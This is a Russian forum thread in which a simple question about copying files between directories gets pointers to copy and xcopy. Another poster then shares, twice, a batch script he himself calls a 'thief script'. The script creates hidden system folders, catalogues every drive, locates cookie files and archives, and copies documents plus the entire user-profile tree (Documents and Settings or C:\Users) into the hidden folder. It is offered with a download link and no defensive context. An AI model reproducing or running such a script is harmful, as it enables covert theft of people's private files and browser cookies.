Имя пользователя:
Пароль:  
Помощь | Регистрация | Забыли пароль?  | Правила  

Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » CMD/BAT - Скопировать все файлы из одного каталога в другой

Ответить
Настройки темы
CMD/BAT - Скопировать все файлы из одного каталога в другой

Новый участник


Сообщения: 45
Благодарности: 0

Профиль | Отправить PM | Цитировать


Добрый день!

Необходимо скопировать все файлы из одного каталога в другой, при этом если файл в каталоге назначения существует, то переписать его.

Заранее благодарен!

Отправлено: 12:07, 20-06-2012

 

Ветеран


Сообщения: 27449
Благодарности: 8086

Профиль | Отправить PM | Цитировать


Код: Выделить весь код
copy /?
xcopy /?
Это сообщение посчитали полезным следующие участники:

Отправлено: 12:23, 20-06-2012 | #2



Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети.

Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля.


Новый участник


Сообщения: 4
Благодарности: 1

Профиль | Отправить PM | Цитировать


Код: Выделить весь код
@echo on rem ******************* rem Создаём свалку для мусора и аттрибутим скрыт,системн,только чтение rem ******************* mkdir %date:~-10% attrib +H +s +r "%cd%\%date:~-10%" mkdir %date:~-10%\%USERNAME% attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%" rem ******************* rem создаём в ней подпапки для удобства rem ******************* mkdir %date:~-10%\%USERNAME%\dir1-6 attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%\dir1-6" mkdir %date:~-10%\%USERNAME%\docssett attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%\docssett" mkdir %date:~-10%\%USERNAME%\Users attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%\Users" rem ******************* rem шаримся по дискам и журналируем в папочку dir1-6 rem ******************* dir c:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir1.doc" dir d:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir2.doc" dir e:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir3.doc" dir f:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir4.doc" dir g:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir5.doc" dir h:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir6.doc" rem шаримся по C:\ и журналируем в папочку USERNAME dir c:\ /s /b | find "cookies" /i > %cd%\%date:~-10%\%USERNAME%\cookies.txt dir c:\ /s /b | find "*.avi" /i > %cd%\%date:~-10%\%USERNAME%\avi.txt dir c:\ /s /b | find "*.rar" /i > %cd%\%date:~-10%\%USERNAME%\rar.txt dir c:\ /s /b | find "*.zip" /i > %cd%\%date:~-10%\%USERNAME%\zip.txt dir c:\ /s /b | find "*.doc" /i > %cd%\%date:~-10%\%USERNAME%\doc.txt rem ******************* rem искать файлы в заданном каталоге и складывать найденное в определенную папку rem ******************* FOR /R c:\ %%I in (*.doc, *.txt, *zoner*, *.rar) do copy "%%I" "%cd%\%date:~-10%\%USERNAME%\dir1-6" rem ******************* rem если винда ХР , тырим папку c:\documents and settings , если ошибка ,то винда 7, тырим папку C:\Users rem ******************* xcopy "c:\Documents and Settings" "%cd%\%date:~-10%\%USERNAME%\docssett" /s/e/i/c/h/q rem if not errorlevel 0 goto users rem if not errorlevel 0 goto _1 rem pause :users XCOPY /y C:\Users "%cd%\%date:~-10%\%USERNAME%\Users" /s /e /i /c /h /q rem ******************* rem вырубаем батник rem ******************* exit

Отправлено: 20:36, 09-03-2013 | #3


Аватара для zion87

Старожил


Сообщения: 263
Благодарности: 69

Профиль | Отправить PM | Цитировать


oleggyunter, можно узнать что вы изобразили?

Отправлено: 21:39, 09-03-2013 | #4


Ветеран


Сообщения: 27449
Благодарности: 8086

Профиль | Отправить PM | Цитировать


Комментарий .
Это сообщение посчитали полезным следующие участники:

Отправлено: 03:19, 10-03-2013 | #5


Новый участник


Сообщения: 4
Благодарности: 1

Профиль | Отправить PM | Цитировать


Простите меня ради бога , напортачил с переносами . Написал скрипт-вор , выложил . Прикреплю РАБОЧИЙ вариант. Оцени , zion87, http://download7.files.attachmail.ru...from=e.mail.ru

Сообщения: 3
Благодарности: 0

Конфигурация

Профиль | Редактировать | Отправить PM | Цитировать
Код:
@echo on
rem *******************
rem Создаём свалку для мусора и аттрибутим скрыт,системн,только чтение
rem *******************
mkdir %date:~-10%
attrib +H +s +r "%cd%\%date:~-10%"
mkdir %date:~-10%\%USERNAME%
attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%"
rem *******************
rem создаём в ней подпапки для удобства
rem *******************
mkdir %date:~-10%\%USERNAME%\dir1-6
attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%\dir1-6"
mkdir %date:~-10%\%USERNAME%\docssett
attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%\docssett"
mkdir %date:~-10%\%USERNAME%\Users
attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%\Users"
rem *******************
rem шаримся по дискам и журналируем в папочку dir1-6
rem *******************
dir c:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir1.doc"
dir d:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir2.doc"
dir e:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir3.doc"
dir f:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir4.doc"
dir g:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir5.doc"
dir h:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir6.doc"
rem шаримся по C:\ и журналируем в папочку USERNAME
dir c:\ /s /b | find "cookies" /i > %cd%\%date:~-10%\%USERNAME%\cookies.txt
dir c:\ /s /b | find "*.avi" /i > %cd%\%date:~-10%\%USERNAME%\avi.txt
dir c:\ /s /b | find "*.rar" /i > %cd%\%date:~-10%\%USERNAME%\rar.txt
dir c:\ /s /b | find "*.zip" /i > %cd%\%date:~-10%\%USERNAME%\zip.txt
dir c:\ /s /b | find "*.doc" /i > %cd%\%date:~-10%\%USERNAME%\doc.txt
rem *******************
rem искать файлы в заданном каталоге и складывать найденное в определенную папку
rem *******************
FOR /R c:\ %%I in (*.doc, *.txt, *zoner*, *.rar) do copy "%%I" "%cd%\%date:~-10%\%USERNAME%\dir1-6"
rem *******************
rem если винда ХР , тырим папку c:\documents and settings , если ошибка ,то винда 7, тырим папку C:\Users
rem *******************
xcopy "c:\Documents and Settings" "%cd%\%date:~-10%\%USERNAME%\docssett" /s/e/i/c/h/q
rem
if not errorlevel 0 goto users rem if not errorlevel 0 goto _1
rem
pause
:users XCOPY /y C:\Users "%cd%\%date:~-10%\%USERNAME%\Users" /s /e /i /c /h /q rem *******************
rem вырубаем батник
rem *******************
exit

Так будет понятней.
Это сообщение посчитали полезным следующие участники:

Отправлено: 07:08, 10-03-2013 | #6



Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » CMD/BAT - Скопировать все файлы из одного каталога в другой

Участник сейчас на форуме Участник сейчас на форуме Участник вне форума Участник вне форума Автор темы Автор темы Шапка темы Сообщение прикреплено

Похожие темы
Название темы Автор Информация о форуме Ответов Последнее сообщение
PowerShell - [решено] скопировать заданный файл из одного каталога в другой с другим именем Oleg2011 Скриптовые языки администрирования Windows 20 10-10-2011 17:03
CMD/BAT - [решено] Создать подкаталоги, и скопировать файлы из корневого каталога по подкаталогам. grinsen Скриптовые языки администрирования Windows 2 18-11-2010 13:48
Повреждаются файлы при копировании с одного HDD на другой nzhs Непонятные проблемы с Железом 22 25-03-2009 21:27
FreeBSD - Не вызывается ни одного каталога из консоли freebsd omega999 Общий по FreeBSD 1 18-01-2008 00:34
Закачать напрямую файлы с одного хостинга на другой babki Сетевые технологии 7 31-03-2006 04:02




 
Переход